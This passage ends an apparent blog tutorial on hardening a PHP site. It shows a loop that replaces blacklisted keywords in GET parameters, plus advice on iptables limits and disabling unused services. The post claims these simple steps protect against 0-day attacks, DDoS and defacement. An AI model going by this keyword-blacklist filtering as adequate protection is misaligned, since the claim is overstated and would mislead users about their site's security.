for($i=0; $i<count($deny); $i++){
if(strpos($value,$deny[$i]) !== false){
$post = 1;
if($post == 1){
$_GET = str_replace($deny[$i],"*F*",$_GET);
}
}
}
}
//?> if you want add it on vbulletin you shouldn't close it with ?>
And last thing about other services same cpanel,ssh and … , you must set IP limits with iptables for all of their ports number OR stop their services if you don’t need these, if you want to stop services don’t forgot for start them again you need CONSOLE ACCESS and if you don’t have console access , don’t disable them. disabling services protect you from 0Day Vulnerabilities that they are not public yet.
until now we protected our website from 0Day vulnerabilities and protected our server with a simple ways for DOS/DDOS and deface or uploading. We didn’t config any IDS or IPS professional mode But be sure with doing these on your server be sure you protected so much.
But at last if you are same me and very stressful , get a domain , install octopress blogging on your system and upload your site on github pages, or use blogger.com.
References
1- Sites that I shared URLs
2- Bash Code on Google
3- ZCR ZeroDay Cyber Research
Ali Razmjoo